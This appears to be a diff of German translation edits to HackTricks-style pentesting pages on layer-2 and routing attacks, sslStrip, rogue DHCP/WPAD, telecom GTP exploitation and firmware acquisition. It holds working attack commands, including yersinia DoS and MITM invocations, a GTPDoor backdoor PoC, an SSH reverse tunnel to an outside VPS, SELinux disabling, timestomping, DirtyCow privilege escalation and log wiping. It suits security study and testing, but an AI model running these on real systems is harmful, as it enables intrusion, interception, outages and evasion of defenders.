Durch das Senden einer großen Anzahl von BPDUs TCP (Topology Change Notification) oder Conf (die BPDUs, die gesendet werden, wenn die Topologie erstellt wird) werden die Switches überlastet und funktionieren nicht mehr korrekt.
|
||||
Durch das Senden einer großen Anzahl von BPDUs TCP (Topology Change Notification) oder Conf (die BPDUs, die gesendet werden, wenn die Topologie erstellt wird), werden die Switches überlastet und hören auf, korrekt zu funktionieren.
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
#Use -M to disable MAC spoofing
|
||||
```
|
||||
#### **STP TCP-Angriff**
|
||||
#### **STP TCP Angriff**
|
||||
|
||||
Wenn ein TCP gesendet wird, wird die CAM-Tabelle der Switches in 15 Sekunden gelöscht. Wenn Sie dann kontinuierlich diese Art von Paketen senden, wird die CAM-Tabelle kontinuierlich (oder alle 15 Sekunden) neu gestartet, und wenn sie neu gestartet wird, verhält sich der Switch wie ein Hub.
|
||||
```bash
|
||||
@ -410,7 +410,7 @@ Dies geschieht, indem BPDUs CONF-Pakete gesendet werden, die besagen, dass der *
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
```
|
||||
**Wenn der Angreifer mit 2 Switches verbunden ist, kann er der Wurzel des neuen Baumes sein und der gesamte Verkehr zwischen diesen Switches wird durch ihn geleitet** (ein MITM-Angriff wird durchgeführt).
|
||||
**Wenn der Angreifer mit 2 Switches verbunden ist, kann er der Wurzel des neuen Baumes werden und der gesamte Verkehr zwischen diesen Switches wird durch ihn geleitet** (ein MITM-Angriff wird durchgeführt).
|
||||
```bash
|
||||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||||
@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
Während dieses Angriffs sind die CPU des Switches und die CDP-Nachbartabelle stark belastet, was oft als **„Netzwerkparalyse“** aufgrund des übermäßigen Ressourcenverbrauchs bezeichnet wird.
|
||||
Während dieses Angriffs sind die CPU des Switches und die CDP-Nachbartabelle stark belastet, was oft als **„Netzwerkparalyse“** bezeichnet wird, aufgrund des übermäßigen Ressourcenverbrauchs.
|
||||
|
||||
#### CDP-Imitationsangriff
|
||||
```bash
|
||||
@ -490,9 +490,9 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
**DoS**
|
||||
|
||||
**Zwei Arten von DoS** können gegen DHCP-Server durchgeführt werden. Die erste besteht darin, **genug gefälschte Hosts zu simulieren, um alle möglichen IP-Adressen zu nutzen**.\
|
||||
Dieser Angriff funktioniert nur, wenn Sie die Antworten des DHCP-Servers sehen können und das Protokoll abschließen können (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Zum Beispiel ist dies **in Wifi-Netzwerken nicht möglich**.
|
||||
Dieser Angriff funktioniert nur, wenn Sie die Antworten des DHCP-Servers sehen können und das Protokoll abschließen (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Zum Beispiel ist dies **in Wifi-Netzwerken nicht möglich**.
|
||||
|
||||
Eine andere Möglichkeit, einen DHCP DoS durchzuführen, besteht darin, ein **DHCP-RELEASE-Paket zu senden, wobei jede mögliche IP als Quelladresse verwendet wird**. Dann wird der Server denken, dass jeder die IP nicht mehr verwendet.
|
||||
Eine andere Möglichkeit, einen DHCP DoS durchzuführen, besteht darin, ein **DHCP-RELEASE-Paket zu senden, wobei jede mögliche IP als Quelladresse verwendet wird**. Dann wird der Server denken, dass jeder die IP-Nutzung beendet hat.
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
@ -515,7 +515,7 @@ Im Folgenden sind die Befehlsoptionen zur Konfiguration des bösartigen DHCP-Ser
|
||||
- **Netzmaske des lokalen Netzwerks**: Verwenden Sie `-n 255.255.255.0`, um die Netzmaske für das lokale Netzwerk zu definieren.
|
||||
- **Schnittstelle für DHCP-Verkehr**: Verwenden Sie `-I eth1`, um auf einer bestimmten Netzwerkschnittstelle auf DHCP-Verkehr zu hören.
|
||||
- **WPAD-Konfigurationsadresse**: Verwenden Sie `-w “http://10.0.0.100/wpad.dat”`, um die Adresse für die WPAD-Konfiguration festzulegen, die beim Abfangen von Webverkehr hilft.
|
||||
- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die Standard-Gateway-IP-Adresse zu fälschen.
|
||||
- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die IP-Adresse des Standard-Gateways zu fälschen.
|
||||
- **Auf alle DHCP-Anfragen antworten**: Fügen Sie `-R` hinzu, um den Server dazu zu bringen, auf alle DHCP-Anfragen zu antworten, aber seien Sie sich bewusst, dass dies laut ist und erkannt werden kann.
|
||||
|
||||
Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server eingerichtet werden, um den Netzwerkverkehr effektiv abzufangen.
|
||||
@ -531,7 +531,7 @@ Hier sind einige der Angriffstaktiken, die gegen 802.1X-Implementierungen verwen
|
||||
- Angreifen des RADIUS-Servers mit fehlerhaften EAP-Inhalten _\*\*_(Exploits)
|
||||
- EAP-Nachrichtenerfassung und Offline-Passwort-Cracking (EAP-MD5 und PEAP)
|
||||
- Erzwingen der EAP-MD5-Authentifizierung, um die TLS-Zertifikatsvalidierung zu umgehen
|
||||
- Einspeisen von bösartigem Netzwerkverkehr beim Authentifizieren über einen Hub oder Ähnliches
|
||||
- Einspeisen von bösartigem Netzwerkverkehr beim Authentifizieren mit einem Hub oder ähnlichem
|
||||
|
||||
Wenn der Angreifer zwischen dem Opfer und dem Authentifizierungsserver ist, könnte er versuchen, das Authentifizierungsprotokoll (falls erforderlich) auf EAP-MD5 herabzustufen und den Authentifizierungsversuch zu erfassen. Dann könnte er dies mit Brute-Force angehen:
|
||||
```
|
||||
@ -539,7 +539,7 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Angriffe <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) ist eine Klasse von Netzwerkprotokollen, die entwickelt wurden, um **ein heiß redundantes Routing-System zu schaffen**. Mit FHRP können physische Router zu einem einzigen logischen Gerät kombiniert werden, was die Fehlertoleranz erhöht und hilft, die Last zu verteilen.
|
||||
**FHRP** (First Hop Redundancy Protocol) ist eine Klasse von Netzwerkprotokollen, die entwickelt wurden, um **ein heiß redundantes Routing-System** zu schaffen. Mit FHRP können physische Router zu einem einzigen logischen Gerät kombiniert werden, was die Fehlertoleranz erhöht und hilft, die Last zu verteilen.
|
||||
|
||||
**Cisco Systems-Ingenieure haben zwei FHRP-Protokolle entwickelt, GLBP und HSRP.**
|
||||
|
||||
@ -549,16 +549,16 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Drei Versionen des Routing Information Protocol (RIP) sind bekannt: RIP, RIPv2 und RIPng. Datagramme werden von RIP und RIPv2 über Port 520 mit UDP an Peers gesendet, während Datagramme von RIPng über IPv6-Multicast an UDP-Port 521 gesendet werden. Die Unterstützung für MD5-Authentifizierung wurde von RIPv2 eingeführt. Auf der anderen Seite ist native Authentifizierung nicht in RIPng integriert; stattdessen wird auf optionale IPsec AH- und ESP-Header innerhalb von IPv6 vertraut.
|
||||
Drei Versionen des Routing Information Protocol (RIP) sind bekannt: RIP, RIPv2 und RIPng. Datagramme werden von RIP und RIPv2 über Port 520 mit UDP an Peers gesendet, während Datagramme von RIPng über IPv6-Multicast an UDP-Port 521 gesendet werden. Die Unterstützung für MD5-Authentifizierung wurde von RIPv2 eingeführt. Auf der anderen Seite ist native Authentifizierung in RIPng nicht integriert; stattdessen wird auf optionale IPsec AH- und ESP-Header innerhalb von IPv6 vertraut.
|
||||
|
||||
- **RIP und RIPv2:** Die Kommunikation erfolgt über UDP-Datagramme auf Port 520.
|
||||
- **RIPng:** Nutzt UDP-Port 521 für das Broadcasting von Datagrammen über IPv6-Multicast.
|
||||
- **RIPng:** Nutzt UDP-Port 521 für das Broadcasten von Datagrammen über IPv6-Multicast.
|
||||
|
||||
Beachten Sie, dass RIPv2 MD5-Authentifizierung unterstützt, während RIPng keine native Authentifizierung enthält und auf IPsec AH- und ESP-Header in IPv6 angewiesen ist.
|
||||
|
||||
### EIGRP Angriffe
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ist ein dynamisches Routing-Protokoll. **Es ist ein Distance-Vector-Protokoll.** Wenn es **keine Authentifizierung** und keine Konfiguration von passiven Schnittstellen gibt, kann ein **Angreifer** in das EIGRP-Routing eingreifen und **Routing-Tabellen vergiften**. Darüber hinaus ist das EIGRP-Netzwerk (mit anderen Worten, das autonome System) **flach und hat keine Segmentierung in Zonen**. Wenn ein **Angreifer eine Route injiziert**, ist es wahrscheinlich, dass sich diese Route im gesamten autonomen EIGRP-System **verbreitet**.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ist ein dynamisches Routing-Protokoll. **Es ist ein Distanzvektorprotokoll.** Wenn es **keine Authentifizierung** und Konfiguration von passiven Schnittstellen gibt, kann ein **Angreifer** in das EIGRP-Routing eingreifen und **Routing-Tabellen vergiften**. Darüber hinaus ist das EIGRP-Netzwerk (mit anderen Worten, das autonome System) **flach und hat keine Segmentierung in Zonen**. Wenn ein **Angreifer eine Route injiziert**, ist es wahrscheinlich, dass sich diese Route im gesamten autonomen EIGRP-System **verbreitet**.
|
||||
|
||||
Um ein EIGRP-System anzugreifen, ist es erforderlich, **eine Nachbarschaft mit einem legitimen EIGRP-Router herzustellen**, was viele Möglichkeiten eröffnet, von grundlegender Aufklärung bis hin zu verschiedenen Injektionen.
|
||||
|
||||
@ -572,7 +572,7 @@ eigrp-attacks.md
|
||||
|
||||
### OSPF
|
||||
|
||||
Im Open Shortest Path First (OSPF) Protokoll **wird MD5-Authentifizierung häufig verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erhalten ist, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
|
||||
Im Open Shortest Path First (OSPF) Protokoll wird **MD5-Authentifizierung häufig verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erhalten ist, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
|
||||
|
||||
- **Erfassen und Knacken von MD5-Hashes:** Tools wie Loki und John the Ripper werden dafür verwendet.
|
||||
- **Konfigurieren von Routenparametern:** Dies erfolgt über den _Injection_-Tab.
|
||||
@ -596,7 +596,7 @@ yersinia dhcp -attack 2 #More parameters are needed
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirect besteht darin, ein ICMP-Paket vom Typ 1, Code 5 zu senden, das anzeigt, dass der Angreifer der beste Weg ist, um eine IP zu erreichen. Wenn das Opfer dann die IP kontaktieren möchte, sendet es das Paket über den Angreifer.
|
||||
ICMP Redirect besteht darin, ein ICMP-Paket vom Typ 1 Code 5 zu senden, das anzeigt, dass der Angreifer der beste Weg ist, um eine IP zu erreichen. Wenn das Opfer dann die IP kontaktieren möchte, sendet es das Paket über den Angreifer.
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### Lokale Gateways
|
||||
|
||||
Mehrere Routen zu Systemen und Netzwerken existieren oft. Beim Erstellen einer Liste von MAC-Adressen im lokalen Netzwerk verwenden Sie _gateway-finder.py_, um Hosts zu identifizieren, die IPv4-Weiterleitung unterstützen.
|
||||
Es gibt oft mehrere Routen zu Systemen und Netzwerken. Nachdem Sie eine Liste von MAC-Adressen im lokalen Netzwerk erstellt haben, verwenden Sie _gateway-finder.py_, um Hosts zu identifizieren, die IPv4-Weiterleitung unterstützen.
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
@ -648,7 +648,7 @@ Browser verwenden häufig das **Web Proxy Auto-Discovery (WPAD)-Protokoll, um au
|
||||
- Durch **DNS**, was das Suchen nach einem Hostnamen mit der Bezeichnung _wpad_ innerhalb der lokalen Domäne umfasst.
|
||||
- Über **Microsoft LLMNR und NBT-NS**, die als Fallback-Mechanismen verwendet werden, wenn DNS-Abfragen nicht erfolgreich sind.
|
||||
|
||||
Das Tool Responder nutzt dieses Protokoll, indem es als **bösartiger WPAD-Server** agiert. Es verwendet DHCP, DNS, LLMNR und NBT-NS, um Clients in die Irre zu führen und sie dazu zu bringen, sich mit ihm zu verbinden. Um mehr darüber zu erfahren, wie Dienste mit Responder nachgeahmt werden können, [sehen Sie sich dies an](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Das Tool Responder nutzt dieses Protokoll, indem es als **bösartiger WPAD-Server** fungiert. Es verwendet DHCP, DNS, LLMNR und NBT-NS, um Clients in die Irre zu führen und sie dazu zu bringen, sich mit ihm zu verbinden. Um tiefer in die Nachahmung von Diensten mit Responder einzutauchen, [prüfen Sie dies](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP und UPnP-Geräte](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
Im Grunde genommen besteht dieser Angriff darin, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite zu **zugreifen**, die auf die **HTTPS**-Version **umleitet**. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client** und eine **HTTPS-Verbindung mit** dem **Server** **aufrechterhalten**, sodass er die Verbindung im **Klartext** **abhören** kann.
|
||||
Im Grunde genommen bewirkt dieser Angriff, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite zu **zugreifen**, die auf die **HTTPS**-Version **umgeleitet** wird. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client** und eine **HTTPS-Verbindung mit** dem **Server** **aufrechterhalten**, sodass es in der Lage ist, die Verbindung im **Klartext** zu **sniffen**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -697,14 +697,14 @@ Mehr Informationen [hier](https://www.blackhat.com/presentations/bh-dc-09/Marlin
|
||||
|
||||
### sslStrip+ und dns2proxy zum Umgehen von HSTS
|
||||
|
||||
Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie **umleiten**, zum Beispiel _**www.facebook.com**_ **zu** _**wwww.facebook.com**_ (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die IP des Angreifers** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** verbunden, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
|
||||
Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie beispielsweise _**www.facebook.com**_ **auf** _**wwww.facebook.com**_ **umleiten** (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die IP des Angreifers** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** **verbinden**, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
|
||||
|
||||
Das **Ziel** dieser Technik ist es, **HSTS zu vermeiden**, da _**wwww**.facebook.com_ **nicht** im **Cache** des Browsers gespeichert wird, sodass der Browser getäuscht wird, um die **Facebook-Authentifizierung in HTTP** durchzuführen.\
|
||||
Beachten Sie, dass der Angriff nur funktioniert, wenn das Opfer zunächst versucht, [http://www.faceook.com](http://www.faceook.com) und nicht https zuzugreifen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite erfolgen.
|
||||
Das **Ziel** dieser Technik ist es, **HSTS zu vermeiden**, da _**wwww**.facebook.com_ **nicht** im **Cache** des Browsers gespeichert wird, sodass der Browser dazu verleitet wird, die **Facebook-Authentifizierung in HTTP** durchzuführen.\
|
||||
Beachten Sie, dass das Opfer zunächst versuchen muss, [http://www.faceook.com](http://www.faceook.com) und nicht https aufzurufen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite erfolgen.
|
||||
|
||||
Mehr Informationen [hier](https://www.bettercap.org/legacy/#hsts-bypass), [hier](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) und [hier](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip oder sslStrip+ funktioniert nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
|
||||
**sslStrip oder sslStrip+ funktionieren nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -729,12 +729,12 @@ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
#### Hören Sie mit Zertifikat zu und leiten Sie zu den Hosts um
|
||||
#### Hören Sie mit Zertifikat und leiten Sie zu den Hosts um
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
Manchmal, wenn der Client überprüft, dass die CA gültig ist, könntest du **ein Zertifikat eines anderen Hostnamens, das von einer CA signiert ist, bereitstellen**.\
|
||||
Ein weiterer interessanter Test ist, **ein Zertifikat des angeforderten Hostnamens, aber selbstsigniert, bereitzustellen**.
|
||||
Ein weiterer interessanter Test ist, ein **Zertifikat des angeforderten Hostnamens, aber selbstsigniert, bereitzustellen**.
|
||||
|
||||
Andere Dinge, die man testen kann, sind zu versuchen, das Zertifikat mit einem gültigen Zertifikat zu signieren, das keine gültige CA ist. Oder den gültigen öffentlichen Schlüssel zu verwenden, um einen Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss) und wenn der Client eine Anfrage nach dem echten privaten Schlüssel (wie einen Hash) stellt, eine gefälschte Anfrage zu senden und zu erwarten, dass der Client dies nicht überprüft.
|
||||
|
||||
@ -764,19 +764,19 @@ set wifi.ap.channel 5
|
||||
set wifi.ap.encryption false #If true, WPA2
|
||||
wifi.recon on; wifi.ap
|
||||
```
|
||||
### Active Discovery Notes
|
||||
### Aktive Entdeckungsnotizen
|
||||
|
||||
Beachten Sie, dass beim Senden eines UDP-Pakets an ein Gerät, das den angeforderten Port nicht hat, ein ICMP (Port Unreachable) gesendet wird.
|
||||
|
||||
### **ARP discover**
|
||||
### **ARP-Entdeckung**
|
||||
|
||||
ARP-Pakete werden verwendet, um herauszufinden, welche IPs im Netzwerk verwendet werden. Der PC muss eine Anfrage für jede mögliche IP-Adresse senden, und nur die verwendeten werden antworten.
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
### **mDNS (Multicast DNS)**
|
||||
|
||||
Bettercap sendet eine MDNS-Anfrage (alle X ms), die nach **\_services\_.dns-sd.\_udp.local** fragt. Die Maschine, die dieses Paket sieht, antwortet normalerweise auf diese Anfrage. Dann sucht sie nur nach Maschinen, die auf "services" antworten.
|
||||
|
||||
**Tools**
|
||||
**Werkzeuge**
|
||||
|
||||
- Avahi-browser (--all)
|
||||
- Bettercap (net.probe.mdns)
|
||||
@ -794,17 +794,17 @@ Bettercap sendet Broadcast-SSDP-Pakete, die nach allen Arten von Diensten suchen
|
||||
|
||||
Bettercap sendet Broadcast-WSD-Pakete, die nach Diensten suchen (UDP-Port 3702).
|
||||
|
||||
### Telecom / Mobile-Core (GTP) Exploitation
|
||||
### Telekom / Mobile-Core (GTP) Ausnutzung
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **Network Security Assessment: Know Your Network (3rd edition)**
|
||||
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- **Network Security Assessment: Know Your Network (3. Auflage)**
|
||||
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. Von Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobile-Core-Protokolle (GPRS Tunneling Protocol – GTP) durchqueren oft semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie auf einfachem UDP ohne nahezu keine Authentifizierung basieren, **kann in der Regel jeder Zugang innerhalb eines Telekomperimeters direkt auf die Kernsignalisierungsebenen zugreifen**. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.
|
||||
> Mobile-Core-Protokolle (GPRS Tunneling Protocol – GTP) durchqueren oft semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie über ungesichertes UDP ohne nahezu keine Authentifizierung laufen, **kann in der Regel jeder Zugang innerhalb eines Telekomperimeters direkt auf die Kernsignalisierungsebenen zugreifen**. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.
|
||||
|
||||
## 1. Recon & Erster Zugriff
|
||||
|
||||
@ -44,7 +44,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
|
||||
`GTPDoor` ist ein kleiner ELF-Dienst, der **UDP 2123 bindet und jedes eingehende GTP-C-Paket analysiert**. Wenn die Nutzlast mit einem vorab geteilten Tag beginnt, wird der Rest entschlüsselt (AES-128-CBC) und über `/bin/sh -c` ausgeführt. Die stdout/stderr werden in **Echo Response**-Nachrichten exfiltriert, sodass keine ausgehende Sitzung jemals erstellt wird.
|
||||
|
||||
Minimaler PoC-Paket (Python):
|
||||
Minimales PoC-Paket (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -69,7 +69,7 @@ microsocks -p 1080 & # internal SOCKS proxy
|
||||
Mit ordnungsgemäßem Firewall-Hair-Pinning umgeht dieser Tunnel nur Signalisierungs-VLANs und landet Sie direkt im **Datenverkehr**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel über Port 53
|
||||
DNS ist in Roaming-Infrastrukturen fast immer offen. Exponieren Sie einen internen SSH-Dienst zu Ihrem VPS, der auf :53 hört, und kehren Sie später von zu Hause zurück:
|
||||
DNS ist in Roaming-Infrastrukturen fast immer offen. Exponieren Sie einen internen SSH-Dienst zu Ihrem VPS, der auf :53 lauscht, und kehren Sie später von zu Hause zurück:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
@ -79,11 +79,11 @@ ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
|
||||
| Kanal | Transport | Dekodierung | Anmerkungen |
|
||||
|-------|-----------|-------------|-------------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-Byte-Schlüssel + 14-Byte-Stücke (XOR) | reiner passiver Zuhörer, kein ausgehender Verkehr |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-Byte Schlüssel + 14-Byte Chunks (XOR) | reiner passiver Listener, kein ausgehender Verkehr |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (Schlüssel = `funnyAndHappy`) kodiert in A-Record-Oktetten | überwacht `*.nodep` Subdomain |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC Blob in privatem IE | mischt sich mit legitimen GTP-C Gesprächen |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC Blob in privatem IE | vermischt sich mit legitimen GTP-C Gesprächen |
|
||||
|
||||
Alle Implantate implementieren Überwachungsdienste, die ihre Binärdateien **timestomp** und sich neu starten, wenn sie abstürzen.
|
||||
Alle Implantate implementieren Watchdogs, die ihre Binärdateien **timestomp** und sich neu starten, wenn sie abstürzen.
|
||||
|
||||
## 6. Verteidigungsumgehung Cheatsheet
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Privilegienerweiterung auf Legacy NE
|
||||
## 7. Privilegienausweitung auf Legacy NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -118,7 +118,7 @@ rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Werkzeugkasten
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – benutzerdefinierte Tools, die in vorherigen Abschnitten beschrieben sind.
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – benutzerdefinierte Werkzeuge, die in vorherigen Abschnitten beschrieben sind.
|
||||
* `FScan` : Intranet TCP-Scans (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS bösartiger WPAD
|
||||
* `Microsocks` + `ProxyChains` : leichtgewichtiges SOCKS5-Pivoting
|
||||
|
||||
@ -28,9 +28,9 @@ Der Erwerb von Firmware kann auf verschiedene Weise erfolgen, jede mit ihrem eig
|
||||
- **Direkt** von der Quelle (Entwickler, Hersteller)
|
||||
- **Bauen** aus bereitgestellten Anweisungen
|
||||
- **Herunterladen** von offiziellen Support-Seiten
|
||||
- Nutzung von **Google-Dork**-Abfragen zur Auffindung gehosteter Firmware-Dateien
|
||||
- Nutzung von **Google-Dork**-Abfragen, um gehostete Firmware-Dateien zu finden
|
||||
- Direkter Zugriff auf **Cloud-Speicher** mit Tools wie [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Abfangen von **Updates** mittels Man-in-the-Middle-Techniken
|
||||
- Abfangen von **Updates** über Man-in-the-Middle-Techniken
|
||||
- **Extrahieren** vom Gerät über Verbindungen wie **UART**, **JTAG** oder **PICit**
|
||||
- **Sniffen** von Update-Anfragen innerhalb der Gerätekommunikation
|
||||
- Identifizieren und Verwenden von **hardcodierten Update-Endpunkten**
|
||||
@ -48,9 +48,9 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
